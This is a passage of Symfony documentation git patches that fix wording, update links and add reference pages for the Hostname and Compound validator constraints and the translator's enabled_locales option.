@@ -10,17 +10,19 @@ password, but needs to enter their old password for security.
     This should **not** be used to validate a login form, since this is
     done automatically by the security system.
 
-+----------------+--------------------------------------------------------------------------------------------+
-| Applies to     | :ref:`property or method <validation-property-target>`                                     |
-+----------------+--------------------------------------------------------------------------------------------+
-| Options        | - `groups`_                                                                                |
-|                | - `message`_                                                                               |
-|                | - `payload`_                                                                               |
-+----------------+--------------------------------------------------------------------------------------------+
-| Class          | :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`          |
-+----------------+--------------------------------------------------------------------------------------------+
-| Validator      | :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator` |
-+----------------+--------------------------------------------------------------------------------------------+
+.. note::
+
+    In order to use this constraints, you should have installed the
+    symfony/security-core component with Composer.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`
+Validator   :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator`
+==========  ===================================================================
 
 Basic Usage
 -----------

From d7de197932202e93a9cdbc2357a04539db3bfa3d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 19 Feb 2020 11:00:42 +0100
Subject: [PATCH 0355/7107] Remove file (added by accident)

---
 .12983-suspended | 1 -
 1 file changed, 1 deletion(-)
 delete mode 100644 .12983-suspended

diff --git a/.12983-suspended b/.12983-suspended
deleted file mode 100644
index d93d3af5df1..00000000000
--- a/.12983-suspended
+++ /dev/null
@@ -1 +0,0 @@
-{"category":"minor","has_comments":false,"squashed":true,"savepoint":"applypatch"}
\ No newline at end of file

From f538ce99bb1eb2c830605a1f8a208a9657599d9b Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Fri, 24 Jan 2020 20:39:28 +0100
Subject: [PATCH 0356/7107] Updated default validation mapping directory

---
 reference/configuration/framework.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b412f8ebb4f..f293c3a0a1a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2380,7 +2380,7 @@ mapping
 paths
 """""
 
-**type**: ``array`` **default**: ``[]``
+**type**: ``array`` **default**: ``['config/validation/']``
 
 This option allows to define an array of paths with files or directories where
 the component will look for additional validation files:
@@ -2394,7 +2394,7 @@ the component will look for additional validation files:
             validation:
                 mapping:
                     paths:
-                        - "%kernel.project_dir%/validation/"
+                        - "%kernel.project_dir%/config/validation/"
 
     .. code-block:: xml
 
@@ -2410,7 +2410,7 @@ the component will look for additional validation files:
             <framework:config>
                 <framework:validation>
                     <framework:mapping>
-                        <framework:path>%kernel.project_dir%/validation</framework:path>
+                        <framework:path>%kernel.project_dir%/config/validation/</framework:path>
                     </framework:mapping>
                 </framework:validation>
             </framework:config>
@@ -2423,7 +2423,7 @@ the component will look for additional validation files:
             'validation' => [
                 'mapping' => [
                     'paths' => [
-                        '%kernel.project_dir%/validation',
+                        '%kernel.project_dir%/config/validation/',
                     ],
                 ],
             ],

From e43573d9876cf446bba4aa423aedadeeaa84a908 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Wed, 19 Feb 2020 14:13:17 +0100
Subject: [PATCH 0357/7107] Fix wording

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 409647e3a0c..db3c029efd1 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -525,7 +525,7 @@ Troubleshooting
 The ``@group time-sensitive`` and ``@group dns-sensitive`` annotations work
 "by convention" and assume that the namespace of the tested class can be
 obtained just by removing the ``Tests\`` part from the test namespace. I.e.
-that if the your test case fully-qualified class name (FQCN) is
+if your test case's fully-qualified class name (FQCN) is
 ``App\Tests\Watch\DummyWatchTest``, it assumes the tested class namespace
 is ``App\Watch``.
 

From aba29b2c66b9302782da384d05ded282b1956d7b Mon Sep 17 00:00:00 2001
From: Jules Pietri <heah@heahprod.com>
Date: Wed, 19 Feb 2020 21:01:08 +0100
Subject: [PATCH 0358/7107] [Security] clarified the encoding with memory
 providers

---
 security.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index c5c5e4fbcb8..db407525de7 100644
--- a/security.rst
+++ b/security.rst
@@ -449,13 +449,18 @@ To fix this, add an ``encoders`` key:
 User providers load user information and put it into a :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`
 implementation. If you :doc:`load users from the database </security/entity_provider>`
 or :doc:`some other source </security/custom_provider>`, you'll
-use your own custom User class. But when you use the "in memory" provider type,
+use your own custom User class. But when you use the ``memory`` provider type,
 it gives you a :class:`Symfony\\Component\\Security\\Core\\User\\User` object.
 
 Whatever your User class is, you need to tell Symfony what algorithm was
 used to encode the passwords. In this case, the passwords are just plaintext,
 but in a second, you'll change this to use ``bcrypt``.
 
+.. caution::
+
+    When using a ``memory`` provider and the :class:`Symfony\\Component\\Security\\Core\\User\\User`,
+    you have to choose an encoding without salt (i.e. ``bcrypt``).
+
 If you refresh now, you'll be logged in! The web debug toolbar even tells
 you who you are and what roles you have:
 

From 27e714ed3624bb5043b717bac9b0acc2e5d81b07 Mon Sep 17 00:00:00 2001
From: Yohann Durand <34881241+Yohann76@users.noreply.github.com>
Date: Thu, 20 Feb 2020 00:58:52 +0100
Subject: [PATCH 0359/7107] Update form.rst

---
 components/form.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/form.rst b/components/form.rst
index 9de26b7ea26..9e01942c73a 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -763,7 +763,9 @@ method. This is useful when you'd like to validate the form without showing
 validation errors to the user (i.e. during a partial AJAX submission or
 :doc:`dynamic form modification </form/dynamic_form_modification>`).
 
-Because clearing the errors makes the form valid, ``clearErrors()`` should only
+Because clearing the errors makes the form valid, 
+:method:`Symfony\\Component\\Form\\ClearableErrorsInterface::clearErrors` should only
+
 be called after testing whether the form is valid.
 
 Learn more

From cd194e954dfed1922e2377aa94aaab4b69b94ef6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 20 Feb 2020 08:13:45 +0100
Subject: [PATCH 0360/7107] minor. refs #13190

---
 components/form.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 9e01942c73a..5980fa3750f 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -763,10 +763,9 @@ method. This is useful when you'd like to validate the form without showing
 validation errors to the user (i.e. during a partial AJAX submission or
 :doc:`dynamic form modification </form/dynamic_form_modification>`).
 
-Because clearing the errors makes the form valid, 
-:method:`Symfony\\Component\\Form\\ClearableErrorsInterface::clearErrors` should only
-
-be called after testing whether the form is valid.
+Because clearing the errors makes the form valid,
+:method:`Symfony\\Component\\Form\\ClearableErrorsInterface::clearErrors`
+should only be called after testing whether the form is valid.
 
 Learn more
 ----------

From b8f077191a187ef18dff5b763588373a0be8d132 Mon Sep 17 00:00:00 2001
From: Yohann Durand <34881241+Yohann76@users.noreply.github.com>
Date: Thu, 20 Feb 2020 00:58:52 +0100
Subject: [PATCH 0361/7107] Update form.rst

---
 components/form.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/form.rst b/components/form.rst
index 9de26b7ea26..9e01942c73a 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -763,7 +763,9 @@ method. This is useful when you'd like to validate the form without showing
 validation errors to the user (i.e. during a partial AJAX submission or
 :doc:`dynamic form modification </form/dynamic_form_modification>`).
 
-Because clearing the errors makes the form valid, ``clearErrors()`` should only
+Because clearing the errors makes the form valid, 
+:method:`Symfony\\Component\\Form\\ClearableErrorsInterface::clearErrors` should only
+
 be called after testing whether the form is valid.
 
 Learn more

From 238b96dfe161c603dfbf36e778abf5cd54fefe8c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 20 Feb 2020 08:13:45 +0100
Subject: [PATCH 0362/7107] minor. refs #13190

---
 components/form.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 9e01942c73a..5980fa3750f 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -763,10 +763,9 @@ method. This is useful when you'd like to validate the form without showing
 validation errors to the user (i.e. during a partial AJAX submission or
 :doc:`dynamic form modification </form/dynamic_form_modification>`).
 
-Because clearing the errors makes the form valid, 
-:method:`Symfony\\Component\\Form\\ClearableErrorsInterface::clearErrors` should only
-
-be called after testing whether the form is valid.
+Because clearing the errors makes the form valid,
+:method:`Symfony\\Component\\Form\\ClearableErrorsInterface::clearErrors`
+should only be called after testing whether the form is valid.
 
 Learn more
 ----------

From 7886b8dcf68bcc4bd6568ded730d91308c22d7a8 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Tue, 18 Feb 2020 15:26:30 +0100
Subject: [PATCH 0363/7107] Update versioning.rst

---
 frontend/encore/versioning.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 8776cda0ca8..98a2b7fb6b2 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -67,7 +67,7 @@ like normal:
 
 .. code-block:: html+twig
 
-    <img src="{{ asset('build/images/logo.png') }}">
+    <img src="{{ asset('build/images/logo.png') }}" alt="ACME logo">
 
 Troubleshooting
 ---------------

From 33cb2f35bb1c0e3ca4e11a727ecb9392b4fa1974 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 20 Feb 2020 08:20:20 +0100
Subject: [PATCH 0364/7107] minor. refs #13186

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index db3c029efd1..a99752764d9 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -525,7 +525,7 @@ Troubleshooting
 The ``@group time-sensitive`` and ``@group dns-sensitive`` annotations work
 "by convention" and assume that the namespace of the tested class can be
 obtained just by removing the ``Tests\`` part from the test namespace. I.e.
-if your test case's fully-qualified class name (FQCN) is
+if your test cases fully-qualified class name (FQCN) is
 ``App\Tests\Watch\DummyWatchTest``, it assumes the tested class namespace
 is ``App\Watch``.
 

From bba6ba23280e6badf13b7223768b6317f9cdcb20 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 20 Feb 2020 08:33:29 +0100
Subject: [PATCH 0365/7107] Move caution plus reword

---
 security/user_provider.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/security/user_provider.rst b/security/user_provider.rst
index 45f4911f762..69ba8ec6275 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -215,6 +215,11 @@ It's not recommended to use this provider in real applications because of its
 limitations and how difficult it is to manage users. It may be useful in application
 prototypes and for limited applications that don't store users in databases.
 
+.. caution::
+
+    When using a ``memory`` provider, the :class:`Symfony\\Component\\Security\\Core\\User\\User`
+    and not the ``auto`` algorithm, you have to choose an encoding without salt (i.e. ``bcrypt``).
+
 This user provider stores all user information in a configuration file,
 including their passwords. That's why the first step is to configure how these
 users will encode their passwords:

From 7d7a1b95e12275d4cf10564b2c5daf58d8810d06 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 20 Feb 2020 10:21:37 +0100
Subject: [PATCH 0366/7107] Update templates.rst

Fixed 2 typos.
---
 templates.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templates.rst b/templates.rst
index 86ef37dce0c..0b8430b7ae9 100644
--- a/templates.rst
+++ b/templates.rst
@@ -800,8 +800,8 @@ template fragments. Configure that special URL in the ``fragments`` option:
 
 .. caution::
 
-    Embedding controllers require making requests to those controllers and
-    rendering some templates as result. This can have a significant impact in
+    Embedding controllers requires making requests to those controllers and
+    rendering some templates as result. This can have a significant impact on
     the application performance if you embed lots of controllers. If possible,
     :doc:`cache the template fragment </http_cache/esi>`.
 

From 6db8f75a10c8e992c3525186cd30f5a913692855 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heah@heahprod.com>
Date: Thu, 20 Feb 2020 18:06:25 +0100
Subject: [PATCH 0367/7107] Fixed wording of "#13188"

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index db407525de7..2fe39e629e5 100644
--- a/security.rst
+++ b/security.rst
@@ -459,7 +459,7 @@ but in a second, you'll change this to use ``bcrypt``.
 .. caution::
 
     When using a ``memory`` provider and the :class:`Symfony\\Component\\Security\\Core\\User\\User`,
-    you have to choose an encoding without salt (i.e. ``bcrypt``).
+    class you have to choose an encoding without salt (i.e. ``bcrypt``).
 
 If you refresh now, you'll be logged in! The web debug toolbar even tells
 you who you are and what roles you have:

From 292b5e7ea26958609a9999835ac62f1dce456575 Mon Sep 17 00:00:00 2001
From: Danilo Sanchi <danilo.sanchi@gmail.com>
Date: Thu, 20 Feb 2020 18:08:10 +0100
Subject: [PATCH 0368/7107] Maybe the login path should be excluded

Maybe the login path should be excluded from the target pathes saved.
---
 security/form_login_setup.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index dafbc783dca..fcdf4d9385e 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -453,7 +453,11 @@ whenever the user browses a page::
         public function onKernelRequest(RequestEvent $event): void
         {
             $request = $event->getRequest();
-            if (!$event->isMasterRequest() || $request->isXmlHttpRequest()) {
+            if (
+                !$event->isMasterRequest()
+                || $request->isXmlHttpRequest()
+                || 'app_login' === $request->attributes->get('_route')
+            ) {
                 return;
             }
 

From 23f799ded91daf83d590d36186684081f4cb4748 Mon Sep 17 00:00:00 2001
From: Dominik Pietrzak <vilkh3m@users.noreply.github.com>
Date: Thu, 20 Feb 2020 19:21:40 +0100
Subject: [PATCH 0369/7107] Update deployment.rst

Update link for Heroku deploying manual for symfony 4
---
 deployment.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment.rst b/deployment.rst
index fcac0960cb4..0823526bfbe 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -248,7 +248,7 @@ Learn More
 .. _`Symfony plugin`: https://github.com/capistrano/symfony/
 .. _`Deployer`: http://deployer.org/
 .. _`Git Tagging`: https://git-scm.com/book/en/v2/Git-Basics-Tagging
-.. _`Heroku`: https://devcenter.heroku.com/articles/getting-started-with-symfony
+.. _`Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
 .. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html
 .. _`Azure`: https://azure.microsoft.com/en-us/develop/php/
 .. _`fortrabbit`: https://help.fortrabbit.com/install-symfony

From 3709c5a8058457df291875db59e4187574c29816 Mon Sep 17 00:00:00 2001
From: Dieter <beck.worma@gmail.com>
Date: Thu, 20 Feb 2020 20:59:54 +0100
Subject: [PATCH 0370/7107] remove link to the already deleted propel1 bridge

---
 form/type_guesser.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 17983267899..97e183a73fb 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -13,8 +13,6 @@ type guessers.
 
     Symfony also provides some form type guessers in the bridges:
 
-    * :class:`Symfony\\Bridge\\Propel1\\Form\\PropelTypeGuesser` provided by
-      the Propel1 bridge;
     * :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmTypeGuesser`
       provided by the Doctrine bridge.
 

From a29cfc95aced40e0d99a99dbff2d4dca3fe467d0 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heah@heahprod.com>
Date: Thu, 20 Feb 2020 23:32:01 +0100
Subject: [PATCH 0371/7107] minor tweaks

---
 security/user_provider.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security/user_provider.rst b/security/user_provider.rst
index 69ba8ec6275..04a587b2529 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -215,11 +215,6 @@ It's not recommended to use this provider in real applications because of its
 limitations and how difficult it is to manage users. It may be useful in application
 prototypes and for limited applications that don't store users in databases.
 
-.. caution::
-
-    When using a ``memory`` provider, the :class:`Symfony\\Component\\Security\\Core\\User\\User`
-    and not the ``auto`` algorithm, you have to choose an encoding without salt (i.e. ``bcrypt``).
-
 This user provider stores all user information in a configuration file,
 including their passwords. That's why the first step is to configure how these
 users will encode their passwords:
@@ -291,6 +286,11 @@ Now you can configure all the user information in ``config/packages/security.yam
                         john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
                         jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
 
+.. caution::
+
+    When using a ``memory`` provider, and not the ``auto`` algorithm, you have
+    to choose an encoding without salt (i.e. ``bcrypt``).
+
 .. _security-ldap-user-provider:
 
 LDAP User Provider

From 9bc1214af4e66bb6b5e292e90ca24346d59723c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2020 20:04:12 +0100
Subject: [PATCH 0372/7107] [Validator] Documented the Hostname constraint

---
 reference/constraints.rst          |   1 +
 reference/constraints/Hostname.rst | 135 +++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc  |   1 +
 3 files changed, 137 insertions(+)
 create mode 100644 reference/constraints/Hostname.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 317a836e396..3f2e5b909ec 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -17,6 +17,7 @@ Validation Constraints Reference
    constraints/Length
    constraints/Url
    constraints/Regex
+   constraints/Hostname
    constraints/Ip
    constraints/Uuid
    constraints/Json
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
new file mode 100644
index 00000000000..4cbe606ccb4
--- /dev/null
+++ b/reference/constraints/Hostname.rst
@@ -0,0 +1,135 @@
+Hostname
+========
+
+This constraint ensures that the given value is a valid host name (internally it
+uses the ``FILTER_VALIDATE_DOMAIN`` option of the :phpfunction:`filter_var` PHP
+function).
+
+.. versionadded:: 5.1
+
+    The ``Hostname`` constraint was introduced in Symfony 5.1.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+            - `requireTld`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Hostname`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\HostnameValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+To use the Hostname validator, apply it to a property on an object that
+will contain a host name.
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/ServerSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class ServerSettings
+        {
+            /**
+             * @Assert\Hostname(message="The server name must be a valid hostname.")
+             */
+            protected $name;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\ServerSettings:
+            properties:
+                name:
+                    - Hostname:
+                        message: The server name must be a valid hostname.
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\ServerSettings">
+                <property name="name">
+                    <constraint name="Hostname">
+                        <option name="message">The server name must be a valid hostname.</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/ServerSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class ServerSettings
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('name', new Assert\Hostname([
+                    'message' => 'The server name must be a valid hostname.',
+                ]));
+            }
+        }
+
+The following top-level domains (TLD) are reserved according to `RFC 2606`_ and
+that's why hostnames containing them are not considered valid: ``.example``,
+``.invalid``, ``.localhost``, and ``.test``.
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid hostname.``
+
+The default message supplied when the value is not a valid hostname.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+===============  ==============================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+``requireTld``
+~~~~~~~~~~~~~~
+
+**type**: ``bool`` **default**: ``true``
+
+By default, hostnames are considered valid only when they are fully qualified
+and include their TLDs (top-level domain names). For instance, ``example.com``
+is valid but ``example`` is not.
+
+Set this option to ``false`` to not require any TLD in the hostnames.
+
+.. note::
+
+    This constraint does not validate that the given TLD value is included in
+    the `list of official top-level domains`_ (because that list is growing
+    continuously and it's hard to keep track of it).
+
+.. _`RFC 2606`: https://tools.ietf.org/html/rfc2606
+.. _`list of official top-level domains`: https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 337798c51da..4fb03e6534c 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -19,6 +19,7 @@ String Constraints
 * :doc:`Length </reference/constraints/Length>`
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`Regex </reference/constraints/Regex>`
+* :doc:`Hostname </reference/constraints/Hostname>`
 * :doc:`Ip </reference/constraints/Ip>`
 * :doc:`Json</reference/constraints/Json>`
 * :doc:`Uuid</reference/constraints/Uuid>`

From 5cabc75c4ddd735dd394ca7b09147e01ef2bbb43 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Feb 2020 13:29:10 +0100
Subject: [PATCH 0373/7107] [Translation] Document the enabled_locales option

---
 performance.rst                       |  9 +++++
 reference/configuration/framework.rst | 58 +++++++++++++++++++++++++++
 2 files changed, 67 insertions(+)

diff --git a/performance.rst b/performance.rst
index 51d2d83f230..150af0f5b4e 100644
--- a/performance.rst
+++ b/performance.rst
@@ -13,6 +13,7 @@ Symfony Application Checklist
 
 #. :ref:`Install APCu Polyfill if your server uses APC <performance-install-apcu-polyfill>`
 #. :ref:`Dump the service container into a single file <performance-service-container-single-file>`
+#. :ref:`Restrict the number of locales enabled in the application <performance-enabled-locales>`
 
 Production Server Checklist
 ---------------------------
@@ -74,6 +75,14 @@ container into a single file, which could improve performance when using
         // ...
         $container->setParameter('container.dumper.inline_factories', true);
 
+.. _performance-enabled-locales:
+
+Restrict the Number of Locales Enabled in the Application
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Use the :ref:`framework.translator.enabled_locales <reference-translator-enabled-locales>`
+option to only generate the translation files actually used in your application.
+
 .. _performance-use-opcache:
 
 Use the OPcache Byte Code Cache
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 11672d517d6..1c6dad3681a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -227,6 +227,7 @@ Configuration
   * `cache_dir`_
   * :ref:`default_path <reference-translator-default_path>`
   * :ref:`enabled <reference-translator-enabled>`
+  * :ref:`enabled_locales <reference-translator-enabled-locales>`
   * `fallbacks`_
   * `formatter`_
   * `logging`_
@@ -1989,6 +1990,63 @@ enabled
 
 Whether or not to enable the ``translator`` service in the service container.
 
+.. _reference-translator-enabled-locales:
+
+enabled_locales
+...............
+
+**type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
+
+.. versionadded:: 5.1
+
+    The ``enabled_locales`` option was introduced in Symfony 5.1.
+
+Symfony applications generate by default the translation files for validation
+and security messages in all locales. If your application only uses some
+locales, use this option to restrict the files generated by Symfony and improve
+performance a bit:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            translation:
+                enabled_locales: ['en', 'es']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:translation>
+                    <enabled-locale>en</enabled-locale>
+                    <enabled-locale>es</enabled-locale>
+                </framework:translation>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/translation.php
+        $container->loadFromExtension('framework', [
+            'translation' => [
+                'enabled_locales' => ['en', 'es'],
+            ],
+        ]);
+
+If some user makes requests with a locale not included in this option, the
+application won't display any error because Symfony will display contents using
+the fallback locale.
+
 .. _fallback:
 
 fallbacks

From 65989d97b448a8a0b50859a4a4e63f1fecfa248f Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Thu, 20 Feb 2020 17:04:49 +0100
Subject: [PATCH 0374/7107] [Validator] Allow to define a reusable set of
 constraints

---
 reference/constraints.rst          |   1 +
 reference/constraints/Compound.rst | 111 +++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc  |   1 +
 validation/custom_constraint.rst   |  10 +++
 4 files changed, 123 insertions(+)
 create mode 100644 reference/constraints/Compound.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 317a836e396..7e7d588c58f 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -62,6 +62,7 @@ Validation Constraints Reference
    constraints/Isbn
    constraints/Issn
 
+   constraints/Compound
    constraints/Callback
    constraints/Expression
    constraints/All
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
new file mode 100644
index 00000000000..8552058708c
--- /dev/null
+++ b/reference/constraints/Compound.rst
@@ -0,0 +1,111 @@
+Compound
+========
+
+To the contrary to the other constraints, this constraint cannot be used on its own.
+Instead, it allows you to create your own set of reusable constraints, representing
+rules to use consistently across your application, by extending the constraint.
+
+.. versionadded:: 5.1
+
+    The ``Compound`` constraint was introduced in Symfony 5.1.
+
+==========  ===================================================================
+Applies to  :ref:`class <validation-class-target>` or :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Compound`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CompoundValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+Suppose that you have different places where a user password must be validated,
+you can create your own named set or requirements to be reused consistently everywhere::
+
+    // src/Validator/Constraints/PasswordRequirements.php
+    namespace App\Validator\Constraints;
+
+    use Symfony\Component\Validator\Compound;
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    /**
+     * @Annotation
+     */
+    class PasswordRequirements extends Compound
+    {
+        protected function getConstraints(array $options): array
+        {
+            return [
+                new Assert\NotBlank(),
+                new Assert\Type('string'),
+                new Assert\Length(['min' => 12]),
+                new Assert\NotCompromisedPassword(),
+            ];
+        }
+    }
+
+You can now use it anywhere you need it:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/User/RegisterUser.php
+        namespace App\User;
+
+        use App\Validator\Constraints as AcmeAssert;
+
+        class RegisterUser
+        {
+            /**
+             * @AcmeAssert\PasswordRequirements()
+             */
+            public $password;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\User\RegisterUser:
+            properties:
+                password:
+                    - App\Validator\Constraints\PasswordRequirements: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\User\RegisterUser">
+                <property name="password">
+                    <constraint name="App\Validator\Constraints\PasswordRequirements"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/User/RegisterUser.php
+        namespace App\User;
+
+        use App\Validator\Constraints as AcmeAssert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class RegisterUser
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('password', new AcmeAssert\PasswordRequirements());
+            }
